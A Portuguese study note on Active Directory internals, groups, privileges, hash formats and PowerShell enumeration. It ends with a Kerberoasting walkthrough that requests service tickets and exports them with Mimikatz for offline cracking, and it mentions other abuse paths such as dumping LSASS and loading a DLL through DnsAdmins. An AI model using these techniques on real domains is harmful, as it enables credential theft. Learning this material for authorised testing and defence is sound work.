Active Directory
Entendendo um Pouco Sobre AD
AD DS (Data Store)
NTDS.dit é um arquivo geralmenta fica em %SystemRoot%\NTDS e só pode acessado apenas pelo DC (Domain Controller). NTDS.dit funciona como um banco de dados que contém todas as informações do Active Directory, incluindo hashes de senhas dos usuários no Domínio. Este, é semelhante ao arquivo SAM, usado para contas locais. Algo importante a notar, é que se a configuração  de armazenar senha com criptografia reversível estiver habilitada, o NTDS.DIT também armazenará as senhas em texto não criptografado para todos os usuários criados ou que alteraram suas senhas após a definição desta política. Isso é possível, porém raramente irá ver esse cenário.
SysVol
É um diretório existente em cada DC, que contém arquivos públicos do domínio que precisam ser acessados pelos clientes e mantidos sincronizados entre os DC's. Por padrão, podemos localizá-lo localmente em C:\Windows\SYSVOL ou remotamente em \\<domain.local>\sysvol.
Components (Componentes)
- Schema= Define objetos e seus atributos
- Query e Index= Fornece pesquisa e publicação de objetos e suas propridades
- Global Catalog (GC)= Contém informações sobre todos os objetos do diretório
- Replication Service= Distribui informações entre os Controladores de Domínio
Forest (Floresta)
Resumindo em poucas palavras, Floresta é apenas uma forma de descrever a conexão criada entre as Trees (Árvores) e os Domain Controllers (DC) pela rede. É uma coleção de um ou mais Domínios que compartilham a mesma estrutura lógica (mesmo esquema, catálogo global e configurações de diretório), sendo assim uma espécie de limite de segurança.
Uma Floresta é constituída dos seguintes itens:
- Trees= Uma hierarquia de Domínios do AD DS (Active Directory Domain Services)
- Domains= Usados para agrupar e gerenciar objetos
- Organizational Units (OUs)= Uma OU agrupa diversos tipos de Objetos do AD e pode ser vinculada a uma GPO, diferentemente dos Grupos que não podem ter esse vínculado. O controle de uma OU é determinada pelo ACL (Access Control List) e possui suporte a Delegação de Autoridade, onde os proprietátrios podem transferir o controle administrativo (total ou parcial) para outros usuários (ou grupos)
- Trusts= Permite aos usuários, acessar recursos de outros domínios
- Objects= Usuários, grupos, impressoras, computadores, compartilhamentos
- Domain Services= DNS Server, LLMNR, IPv6
- Domain Schema= Regras para criação de objetos
Users (Usuários)
Por padrão no Active Directory, teremos 2 usuários, sendo eles o Administrator e o Guest. E também temos 4 tipos padrões de usuário, sendo eles:
- Domain Admin= É o único que pode acesar o Domain Controller e é claro, pode controlar o Domínio
- Service Account= Geralmente são utilizados para manutenção de serviços e podem ser administradores do Domínio
- Local Administrators- Domain Users= São os usuários que a maioria das pessoas usam, eles podem fazer login nas máquinas que têm autorização para acessar e podem ter direitos de administrador local (- Local Administrators) para as máquinas, dependendo das políticas da organização.
Grupos
- Enterprise Admins= A associação a este grupo fornece acesso completo à configuração no domínio. O grupo só existe no domínio raiz de uma floresta do AD. Os membros desse grupo têm a capacidade de fazer alterações em toda a floresta, como adicionar um domínio filho ou criar uma relação de confiança. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.
- Administrators= Os membros têm acesso total e irrestrito a um computador ou a um domínio inteiro se estiverem nesse grupo em um controlador de domínio.
- Account Operators= Os membros podem criar e modificar a maioria dos tipos de contas, incluindo usuários, grupos locais e grupos globais, e os membros podem fazer login localmente em controladores de domínio. Eles não podem gerenciar a conta Administrador, contas de usuário administrativo ou membros dos grupos Administradores, Operadores de servidor, Operadores de conta, Operadores de backup ou Operadores de impressão, mas podem modificar contas e grupos não protegidos no domínio
- Default Administrators= Domain Admins e Enterprise Admins
- Backup Operators= Os membros podem fazer backup e restaurar todos os arquivos em um computador, independentemente das permissões definidas nos arquivos. Os operadores de backup também podem fazer logon e desligar o computador. Os membros podem fazer logon em DC's localmente e devem ser considerados administradores de domínio. Eles podem fazer cópias de sombra do banco de dados SAM/NTDS, que, se tomadas, podem ser usadas para extrair credenciais e outras informações interessantes.
- DnsAdmins= Os membros têm acesso às informações de DNS da rede. O grupo só será criado se a função de servidor DNS estiver ou tiver sido instalada em um controlador de domínio no domínio.
- Domain Admins= Os membros têm acesso total para administrar o domínio e são membros do grupo do administrador local em todas as máquinas ingressadas no domínio.
- Domain Computers= Todos os computadores criados no domínio (exceto controladores de domínio) são adicionados a esse grupo.
- Domain Controllers= Contém todos os DC's em um domínio. Novos DC's são adicionados a este grupo automaticamente.
- Domain UsersDomain Users = Este grupo contém todas as contas de usuário em um domínio. Uma nova conta de usuário criada no domínio é adicionada automaticamente a este grupo.
- Domain Guests= Este grupo inclui a conta de convidado interna do domínio. Os membros deste grupo têm um perfil de domínio criado ao entrar em um computador associado ao domínio como um convidado local.
- DNS Admins= Os membros têm a capacidade de carregar uma DLL em um DC, mas não têm as permissões necessárias para reiniciar o servidor DNS. Eles podem carregar uma DLL maliciosa e aguardar uma reinicialização como um mecanismo de persistência. Carregar uma DLL geralmente resultará na falha do serviço. Uma maneira mais confiável de explorar esse grupo é criar um registro WPAD.
- Event Log Readers= Os membros podem ler logs de eventos em computadores locais. O grupo só é criado quando um host é promovido a controlador de domínio.
- Group Policy Creator Owners= Os membros criam, editam ou excluem objetos de política de grupo no domínio, porém apesar de poder criar novos GPO's, é preciso receber permissões adicionais para vincular GPO's a um contêiner, como um domínio ou OU.
- Hyper-V Administrators= Os membros têm acesso completo e irrestrito a todos os recursos do Hyper-V. Se houver DCs virtuais no domínio, quaisquer administradores de virtualização, como membros de administradores do Hyper-V, devem ser considerados administradores de domínio.
- IIS_IUSRS= Este é um grupo interno usado pelos Serviços de Informações da Internet (IIS), começando com o IIS 7.0.
- Pre–Windows 2000 Compatible Access= Este grupo existe para compatibilidade com versões anteriores de computadores que executam o Windows NT 4.0 e versões anteriores. A associação a esse grupo geralmente é uma configuração herdada restante. Isso pode levar a falhas em que qualquer pessoa na rede pode ler informações do AD sem exigir um nome de usuário e senha válidos do AD.
- Print Operators= Os membros podem gerenciar, criar, compartilhar e excluir impressoras conectadas a controladores de domínio no domínio junto com qualquer objeto de impressora no AD. Os membros têm permissão para fazer logon em DCs localmente e podem ser usados para carregar um driver de impressora mal-intencionado e escalar privilégios no domínio.
- Protected Users= Os membros desse grupo recebem proteções adicionais contra roubo de credenciais e táticas como abuso de Kerberos.
- Read-only Domain Controllers= Contém todos os controladores de domínio somente leitura no domínio.
- Remote Desktop Users= Este grupo é usado para conceder a usuários e grupos permissão para se conectar a um host por meio da Área de Trabalho Remota (RDP). Este grupo não pode ser renomeado, excluído ou movido.
- Remote Management Users= Este grupo pode ser usado para conceder aos usuários acesso remoto a computadores via Windows Remote Management (WinRM). Os membros têm permissão para fazer logon em DCs com PSRemoting (este grupo às vezes é adicionado ao grupo de gerenciamento remoto local em não DCs).
- Schema Admins= Os membros podem modificar o esquema do Active Directory, que é a forma como todos os objetos com AD são definidos. Esse grupo existe apenas no domínio raiz de uma floresta do AD. A conta Administrador do domínio raiz da floresta é o único membro desse grupo por padrão.
- Server Operators= Este grupo só existe em controladores de domínio. Os membros podem modificar serviços, acessar compartilhamentos SMB e fazer backup de arquivos em controladores de domínio. Por padrão, este grupo não tem membros.
Privilégios
- SeImpersonatePrivilege= Esse privilégio nos permite representar um token de uma conta privilegiada, como NT AUTHORITY\SYSTEM. Isso pode ser aproveitado com uma ferramenta como JuicyPotato, RogueWinRM, PrintSpoofer, etc., para escalar privilégios em um sistema de destino.
- SeLoadDriverPrivilege= Um usuário com esse privilégio pode carregar e descarregar drivers de dispositivo que podem ser usados para aumentar privilégios ou comprometer um sistema.
- SeRemoteInteractiveLogonRight= Esse privilégio pode dar ao nosso usuário de destino o direito de fazer logon em um host por meio da Área de Trabalho Remota (RDP), que pode ser usada para obter dados confidenciais ou aumentar privilégios.
- SeBackupPrivilege= Isso concede ao usuário a capacidade de criar backups do sistema e pode ser usado para obter cópias de arquivos confidenciais do sistema que podem ser usados para recuperar senhas, como os hives SAM e SYSTEM Registry e o arquivo de banco de dados NTDS.dit Active Directory.
- SeDebugPrivilege= Isso permite que um usuário depure e ajuste a memória de um processo. Com esse privilégio, os invasores podem utilizar uma ferramenta como o Mimikatz para ler o espaço de memória do processo LSASS (Local System Authority) e obter quaisquer credenciais armazenadas na memória.
- SeTakeOwnershipPrivilege= Isso permite que um processo se aproprie de um objeto. Em seu nível mais básico, poderíamos usar esse privilégio para obter acesso a um compartilhamento de arquivo ou a um arquivo em um compartilhamento que de outra forma não seria acessível a nós.
GPO (Group Policy Object)
As GPO não se aplicam diretamente a Grupos e Usuários. Por esse motivo, deve-se utilizar as OU's para herdar essas Políticas de Grupo
GPC (Group Policy Container) = Contém informações sobre as propriedades de uma GPO e é armazenado no AD em Domain Controller do Domínio GPT (Group Policy Template) = Contém os dados em uma GPO e é armazenado no SysVol, dentro do diretório /Policies
As GPO's são aplicadas da seguinte forma. Leve em conta que uma GPO sobrepõe as outras GPO's que já foram aplicadas, então a última GPO irá sobreescrever e ter assim efeito na política final que será aplicada
- GPO local 
- Sites 
- Domínio 
- OU (caso tenha OU aninhada, a OU filha irá sobreescrever a OU pai) 
SPN
Indentificador único de um determinado serviço do Domínio / Floresta, onde cada instância de serviço tem seu próprio SPN. É através do SPN, que o Kerberos associa uma instância de serviço a uma conta de logon de serviço. A sintaxe do SPN constitui no seguinte padrão:
<service_class>/<host>[:<port>][/<service_name>]- service_class= Campo obrigatório que define o tipo de serviço como LDAP, SQLServer, WWW, etc
- host= Campo obrigatório onde pode o FQDN ou o NetBios, que não recomendado porém ainda existe devido a questões de compatibilidade
- port= Campo não obrigatório, porém se não for emitido, será definido a porta padrão do serviço em questão. Por exemplo, se for um MySQL, será utilizado por padrão a porta 3306
- service_name= Campo não obrigatório que pode ser utilizado para identificar outros dados
Dentre os SPN's disponíveis, segue abaixo os principais (link no fim da página para lista completa de SPN):
- TERMSRV= RDP
- LDAP= Serviço LDAP
- CIFS= Common Internet File System
- exchangeAB= Exchange Address Book Service
- DNS= Domain Name Server
- host= Serviço HOST, que representa o próprio computador, no qual toda máquina a possui. Se tiver um ticket dessa máquina, é possível acessá-la e executar comandos no SO
- FTP= File Transfer Protocol
- HTTP= Serviço WEB que suporta autenticação Kerberos
- MSSQL= Microsoft SQL Server
ACL
Quando um usuário loga no Windows, ele recebe um token no qual consiste em verificar se o usuário está incluso na ACL do objetos ou recursos que ele solicita. Essa ACL é uma lista composta por ACE (Access Control Entry) e cada ACE em uma ACL, identifica uma entidade de segurança, os direitos de acesso permitido, negados ou auditados para essa entidade.
Clique no link abaixo para mais detalhes sobre ACL.
Explorando ACL/ACERelação de Confiança
- One-Way (Unidirecional)= Os usuários de um Domínio confiável (- Trusted) podem acessar recursos de um Domínio em que depositou essa confiança nele (- Trusting), porém o inverso não é possível. Por exemplo, o Domínio- abc.com(Trusted) pode acessar todos os recursos do Domínio- def.com(Trusting), pois este confia em- abc.com. Em contra partida, o Domínio- def.com(- Trusting) não pode acessar os recursos de- abc.com(- Trsuted), pois- abc.comnão confia em- def.com
- Two-Way (Bidirecional)= O Domínio- abc.compode acessar- def.come vice-versa. Esse tipo de confiança é estabelecido por padrão em uma Floresta e é Transitivo
- Transitiva= Se o Domínio- abc.comconfia em- def.com, e- def.comconfia em- ghi.com, então- abc.comconfia em- ghi.com, e- ghi.comconfia em- abc.com
- Não-Transitivo= Relação padrão entre 2 Domínios em florestas diferentes
- External Trust (Externa)= Confiança entre 2 Domínios de Florestas diferentes que não possuem relação de confiança entre si. Estas podem ser Unidirecional ou Bi-Direcional e são Não-Transitivas
- Florestas= Por padrão as Florestas são de Unidirecional ou Bi-Direcional e Não-Transitivas. Por exemplo, a- Floresta Aconfia na- Floresta B, e a- Floresta Bconfia na- Floresta C, porém a- Floresta Anão confia na- Floresta C. Esse é a configuração padrão, porém pode ser configurada para que seja Transitiva.
Windows Server AD  VS  Azure AD
Segue abaixo as principais diferenças entre o Windows Server AD (On-Premise) e o Azure AD (Cloud)
WINDOWS SERVER AD
AZURE AD
LDAP
Rest APIs
NTLM
OAuth/SAML
Kerberos
OpenID
OU Tree
Flat Structure
Domains and Forests
Tenants
Trusts
Guests
Gerenciando AD via Powershell
Antes de começar, importe o módulo para poder executar os comandos com êxito
Import-Module -Name ActiveDirectoryAdicionando usuário no AD
Import-Module -Name ActiveDirectory
New-ADUser -Name "<name user>" -AccountPassword (ConvertTo-SecureString -AsPlainText (Read-Host "Enter a secure password") -Force ) -Enabled $true -OtherAttributes @{'title'="<title>";'mail'="<email@local.com"}Removendo usuários do AD
Remove-ADUser -Identity <user>Desbloquando conta
Unlock-ADAccount -Identity <user>Resetando senha de usuário
Set-ADAccountPassword -Identity '<user>' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "<nova_senha>" -Force)Forçando alteração de senha
Set-ADUser -Identity <user> -ChangePasswordAtLogon $trueCriando OU
New-ADOrganizationalUnit -Name "<nome>" -Path "OU=<name>,OU=<name>,DC=<domain>,DC=<local>""Criando Grupo
New-ADGroup -Name "<nome>" -SamAccountName <nome> -GroupCategory Security -GroupScope Global -DisplayName "<nome>" -Path "OU=<nome>,OU=<nome>,DC=<domain>,DC=<local>" -Description "<description>"Adicionando usuário(s) em um grupo
Add-ADGroupMember -Identity <grupo> -Members <nome1>,<nome2>Duplicando uma GPO
Copy-GPO -SourceName "<nome_GPO_existente>" -TargetName "<nome_da_nova_GPO>"Linkando GPO com OU
Set-GPLink -Name "nome_gpo>" -Target "ou=<nome>,OU=<nome>,dc=<domain>,dc=<local>" -LinkEnabled YesInserindo o próprio computador em um Domínio
Add-Computer -DomainName <DOMAIN.LOCAL> -Credential <DOMAIN>\<user> -RestartAdicionado um computador remoto no AD
Add-Computer -ComputerName '<nome>' -LocalCredential '.\<user>' -DomainName '<DOMAIN.LOCAL>' -Credential '<DOMAIN>\<user>' -RestartAutenticação
Além de Kerberos e LDAP, o Active Directory utiliza vários outros métodos de autenticação que podem ser usados (e abusados) por aplicativos e serviços no AD. Isso inclui LM, NTLM, NTLMv1 e NTLMv2. LM e NTLM aqui são os nomes de hash e NTLMv1 e NTLMv2 são protocolos de autenticação que utilizam o hash LM ou NT. Abaixo está uma rápida comparação entre esses hashes e protocolos, o que nos mostra que, embora não seja perfeito, o Kerberos geralmente é o protocolo de autenticação preferido sempre que possível. É essencial entender a diferença entre os tipos de hash e os protocolos que os utilizam.
LDAP
LDAPLM (LAN Manager)
Os hashes do LAN Manager (LM) são o mecanismo de armazenamento de senha mais antigo usado pelo sistema operacional Windows. LM estreou em 1987 no sistema operacional OS/2. Se em uso, eles são armazenados no banco de dados SAM em um host Windows e no banco de dados NTDS.DIT em um controlador de domínio. Devido a deficiências de segurança significativas no algoritmo de hash usado para hashes LM, ele foi desativado por padrão desde o Windows Vista/Server 2008. No entanto, ainda é comum encontrar, especialmente em grandes ambientes onde sistemas mais antigos ainda são usados. As senhas que usam LM são limitadas a um máximo de 14 caracteres. As senhas não diferenciam maiúsculas de minúsculas e são convertidas em maiúsculas antes de gerar o valor de hash, limitando o espaço de chave a um total de 69 caracteres, tornando relativamente fácil decifrar esses hashes usando uma ferramenta como o Hashcat. Antes do hash, uma senha de 14 caracteres é primeiro dividida em dois pedaços de sete caracteres. Se a senha tiver menos de quatorze caracteres, ela será preenchida com caracteres NULL para atingir o valor correto. Duas chaves DES são criadas a partir de cada pedaço. Esses pedaços são então criptografados usando a string KGS!@#$%, criando dois valores de texto cifrado de 8 bytes. Esses dois valores são então concatenados, resultando em um hash LM. Esse algoritmo de hash significa que um invasor precisa apenas forçar brute sete caracteres duas vezes em vez de todos os quatorze caracteres, tornando mais rápido quebrar hashes LM em um sistema com uma ou mais GPUs. Se uma senha tiver sete caracteres ou menos, a segunda metade do hash LM sempre terá o mesmo valor e poderá ser determinada visualmente mesmo sem ferramentas necessárias, como Hashcat. O uso de hashes LM pode ser desaprovado usando a Diretiva de Grupo. Um hash LM tem o seguinte formato de exemplo: c96bd12cc1161d96.
NTHash (NTLM)
A autenticação NTLM é utilizada quando um cliente se autentica em um servidor através do seu endereço IP (ao invés do nome do host) ou se o usuário tenta se autenticar pelo nome do host que não está registrado no servidor DNS integrado ao AD. Da mesma forma, aplicativos de terceiros podem optar por usar a autenticação NTLM em vez da autenticação Kerberos (clique em baixo para saber mais sobre o Kerberos).
Os hashes do NT LAN Manager (NTLM) são usados em sistemas Windows modernos. É um protocolo de autenticação desafio-resposta e usa três mensagens para autenticar: primeiro um cliente envia uma NEGOTIATE_MESSAGE ao servidor, cuja resposta é uma CHALLENGE_MESSAGE para verificar a identidade do cliente. Por fim, o cliente responde com um AUTHENTICATE_MESSAGE. Esses hashes são armazenados localmente no banco de dados SAM ou no arquivo de banco de dados NTDS.DIT em um controlador de domínio. O protocolo tem dois valores de senha com hash para escolher para executar a autenticação: o hash LM e o hash NT, que é o hash MD4 do valor UTF-16 little-endian da senha. O algoritmo pode ser visualizado como: MD4(UTF-16-LE(senha)). Mesmo sendo mais seguro que o LM, o NTLM também pode sofrer ataques de sucesso com Brute Force (dependendo da complexibilidade da senha) e também ataques de pass-the-hash.
Um hash NT assume a forma de b4b9b02e6f09a9bd760f388b67351e2b, que é a segunda metade do hash NTLM completo. Um hash NTLM se parece com isso:
user:500:84f3c115b514a5aaefd3b935b54a04fe:d33dfe544fa0daa4de7f59fb6d48ea0b:::Observando o hash acima, podemos dividir o hash NTLM em suas partes individuais:
- user= É o nome de usuário
- 500= Esse é o Identificador Relativo (RID). O valor 500 é o RID conhecido para a conta de administrator
- 84f3c115b514a5aaefd3b935b54a04fe= É o hash LM e, se os hashes LM estiverem desabilitados no sistema, não poderá ser usado para nada
- d33dfe544fa0daa4de7f59fb6d48ea0b= É o hash do NTLM. Esse hash pode ser quebrado offline para revelar o valor de texto simples (dependendo do tamanho/força da senha) ou usado para um ataque de pass-the-hash, utilizando por exemplo, ferramentas como- CrackMapExec.
NTLMv1 (Net-NTMLv1)
O protocolo NTLM executa um desafio/resposta entre um servidor e um cliente usando o hash NT. O NTLMv1 usa o hash NT e LM, o que pode facilitar o "crack" offline após a captura de um hash usando uma ferramenta como o Responder ou por meio de um ataque de retransmissão NTLM. O protocolo é usado para autenticação de rede e o próprio hash Net-NTLMv1 é criado a partir de um algoritmo de desafio/resposta. O servidor envia ao cliente um número aleatório de 8 bytes (desafio) e o cliente retorna uma resposta de 24 bytes. Esses hashes NÃO podem ser usados para ataques pass-the-hash.
Exemplo de hash:
 u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:44c086049ec47e66NTLMv2 (Net-NTLMv2)
O protocolo NTLMv2 foi introduzido pela primeira vez no Windows NT 4.0 SP4 e foi criado como uma alternativa mais forte ao NTLMv1. Ele é o padrão no Windows desde o Server 2000. Ele é protegido contra certos ataques de falsificação aos quais o NTLMv1 é suscetível. O NTLMv2 envia duas respostas ao desafio de 8 bytes recebido pelo servidor. Essas respostas contêm um hash HMAC-MD5 de 16 bytes do desafio, um desafio gerado aleatoriamente do cliente e um hash HMAC-MD5 das credenciais do usuário. Uma segunda resposta é enviada, usando um desafio de cliente de comprimento variável, incluindo a hora atual, um valor aleatório de 8 bytes e o nome de domínio.
Exemplo de hash NTLMv2:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:2b4830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783f11Domain Cached Credentials (MSCache2)
Em um ambiente AD, os métodos de autenticação mencionados nesta seção e na anterior requerem que o host que estamos tentando acessar se comunique com os "cérebros" da rede, o Controlador de Domínio. A Microsoft desenvolveu o algoritmo MS Cache v1 e v2 (também conhecido como Domain Cached Credentials (DCC) para resolver o possível problema de um host associado a um domínio não conseguir se comunicar com um controlador de domínio (ou seja, devido a uma interrupção de rede ou outro problema técnico) ) e, portanto, a autenticação NTLM/Kerberos não funciona para acessar o host em questão. Os hosts salvam os últimos 10 hashes para qualquer usuário de domínio que faça login com êxito na máquina na chave de registro HKEY_LOCAL_MACHINE\SECURITY\Cache. Esses hashes não podem ser usados em Além disso, o hash é muito lento para quebrar com uma ferramenta como o Hashcat, mesmo ao usar um equipamento de cracking de GPU extremamente poderoso, então as tentativas de quebrar esses hashes geralmente precisam ser extremamente direcionadas ou depender de um senha fraca em uso. Esses hashes podem ser obtidos por um invasor ou pentester após obter acesso de administrador local a um host.
Exemplo de hash:
$DCC2$10240#usuario#22e938d12fea7f4dc42a90120bd9e744Gerenciando Usuários
Adicionando um usuário em um grupo
Add-ADGroupMember -Identity "<grupo>" -Members <usuario>Enumerando com Domain Controller (Forma Nativa)
Filter
-eq
Igual a
Get-ADUser -Filter "name -eq 'mysther'"
-le
Menor que ou igual a
-ge
Maior que ou igual a
-ne
Diferente de
Get-ADUser -Filter "name -le 'mysther'"
-lt
Menor que
-gt
Maior que
-approx
Aproximadamente igual a
-bor
OR Bit a Bit
-band
AND Bit a Bit
-recursivematch
Correspondência recursiva
-like
Substring, semelhante ao LIKE do SQL
Get-ADUser -Filter "name -like 'mysth*'"
-notlike
Inverso ao LIKE
Get-ADUser -Filter "name -notlike 'mysth*'"
-and
AND booleano
-or
OR booleano
-not
NOT booleano
Os filters podem ser escritos de algumas maneiras (trazendo o mesmo resultado).
Get-ADUser -Filter "name -eq 'mysther'"
Get-ADUser -Filter 'name -eq "mysther"'
Get-ADUser -Filter {name -eq 'mysther'}
Get-ADUser -Filter {name -eq "mysther"}Buscando por todos os usuários cadastrados no AD
Get-ADUser -filter * -properties *Buscando nome de computadores e seus respectivos IP's
Get-ADComputer -filter * -Properties IPv4Address | select name,IPv4AddressPesquisando por todas os hosts na rede que possui "sql" no nome
Get-ADComputer  -Filter "DNSHostName -like 'SQL*'"Todos os usuários administrativos com DoesNotRequirePreAuth ativo. Assim, pegaremos usuários vulneráveis a ataque ASREPRoasted
Get-ADUser -Filter {adminCount -eq '1' -and DoesNotRequirePreAuth -eq 'True'}O comando a seguir pode ser usado para localizar todos os usuários administrativos com o conjunto de atributos "servicePrincipalName", o que significa que eles provavelmente podem estar sujeitos a um ataque Kerberoasting
Get-ADUser -Filter "adminCount -eq '1'" -Properties * | where servicePrincipalName -ne $null | select SamAccountName,MemberOf,ServicePrincipalName | flFiltrando por usuários com mais de 3 logins incorretos
Get-ADUser -Filter "badpwdcount -ge 3"Mostrando todos os usuários que fazem parte de uma determinada OU
Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>" | ft
# Caso queira saber somente o total
(Get-ADUser -Filter * -SearchBase "OU=<name>,OU=<name>,OU=<name>,DC=<domain>,DC=<local>").countBuscando por todos os usuários que possuem PasswordNotRequired ativo
Get-ADUser -Filter {PasswordNotRequired -eq $true} | ft nome, UserPrincipalNameSearchBase
Níveis de pesquisa
Base = Escopo básico
OneLevel = Não retorna nenhum sub-container 
SubTree = Pesquisa objetos contidos pelo SearchBase e todos os containers filhos, sendo este recursivamente até a hierarquia do AD.
Exemplo de comandos:
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Base -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope OneLevel -Filter *
Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *Realizando um count
(Get-ADUser -SearchBase "OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).countNote que usamos o Get-ADUser, mas podemos utilizar Get-ADObject para obtermos resultados diferentes.
Verificando quantos usuários estão em uma determinada OU
(Get-ADUser -SearchBase "OU=<sub-ou>,OU=<ou>,DC=<domain>,DC=<local>" -SearchScope Subtree -Filter *).countPowershell
Informações sobre um determinado usuário.
Get-ADUser -identity <sAMAccountName>Verificando todos os usuários que fazem parte de um determinado grupo.
Get-ADGroupMember -Identity "<grupo>"Informações sobre todos os computadores do domínio.
Get-ADComputerInformações detalhadas sobre determinado computador do domínio
Get-ADComputer <computer_name> -Properties *Membros de determinado grupo local
Get-LocalGroupMember '<group>'Informações sobre um determinado grupo
Get-ADGroup -Identity "<group>" -Properties *Verificando membros de um determinado grupo.
Get-NetGroupMember '<grupo>'Verificando qual OU está gerenciando determinado grupo
Get-ADGroup -Identity "<grupo>" -Properties ManagedByVerificando se as políticas AppLocker são aplicadas:
powershell Get-AppLockerPolicy -EffectiveEnumerando com um Host do Domínio  (Forma Nativa)
Informações sobre o Domínio
Pegando informações sobre o Domínio. Note no campo name, teremos o nome do Domínio e no campo PdcRoleOwner teremos Primary Domain Controller (PDC), então este terá as informações mais atualizadas sobre login e autenticação dos usuários.
# Powershell nativo
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()Verificando as políticas de conta de domínio. Note o valor de Lockout threshold, que indica quantas tentativas de login podem ser executadas com erro antes de bloquear a conta e Lockout Duration (minutes) para saber quantos minutos após as tentativas de login (sem chegar no limite de Lockout threshold), pode realizar novas tentativas. 
net accountsInformações sobre Usuários e Grupos
Pegando todos os usuários do Domínio
net user /domainInformações sobre determinado usuário no domínio
net user /domain <user>Outra forma de pegar todos os usuários do Domínio (porém de uma maneira mais detalhada), é partir do comando abaixo (executado em Powershell):
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------------------------------------------------"
}Dessa maneira irá trazer todos os usuários do domínio, o que pode ser gerar uma saída bem poluída. Caso deseje retornar computadores ao invés de usuários, altere o samAccountType 805306368 para 805306369. Mas dando continuidade na enumeração de usuários, vamos alterar o filtro para trazer somente um determinado usuário. Para isso altere a linha $Searcher.filter="samAccountType=805306368" para a linha abaixo, alterando é claro o filtro desejado.
$Searcher.filter="name=<Nome do Usuário>"Pegando o nome de todos os grupos do Domínio:
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.name
}Agora que já sabemos o nome dos grupos do Domínio, podemos saber quem são os membros desse grupo, através do seguinte comando (altere o valor de <Nome_do_Grupo>):
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=<Nome_do_Grupo>)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    $obj.Properties.member
}Verificando usuários que estão logados nesse exato momento
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetLoggedon -ComputerName <hostname>Como já sabemos que esses usuários estão logados atualmente, podemos validar isso, verificando se uma sessão ativa deles no Domain Controller. Lembre-se que, quando um usuário faz login, a sessão é armazenada no DC, ele apenas teve origem de uma estação de trabalho (ou de algum servidor).
powershell -ep bypass
Import-Module .\PowerView.ps1
Get-NetSession -ComputerName <domain_controller>Informações sobre contas de serviços
As Contas de serviços podem ter acessos privilegiados, então é sempre recomendado buscarmos essas contas. No exemplo abaixo, estamos fazendo um filtro por http, então provavelmente irá buscar por contas responsáveis pelo IIS, mas sinta-se a vontade para procurar por outras contas, como SQL, por exemplo.
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
}Caso o comando tenha êxito e retorne algo, verifique o campo samaccountname para identificar o nome da conta e seviceprincipalname, pois é através dele que iremos pegar o seu IP. Após o HTTP/, podemos ver o seu caminho de acesso basta  dar um nslookup nele, para ver o seu IP.
Com isso em mente, podemos salvar o Ticket desses serviços em memória (substitua o valor de -ArgumentList pelo valor de seviceprincipalname executado no comando acima):
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList '<serviceprincipalname>'Execute um dos comandos abaixo para verificar se realmente o ticket foi gerado
klist
# ou
.\mimikatz.exe
kerberos::listAgora podemos resgatar o ticket e salvá-lo em disco utilizando o próprio Mimikatz:
kerberos::list /exportAgora vamos transferir o arquivo para o Linux e realizar um ataque de Brute Force para descobrirmos a senha da conta de serviço.
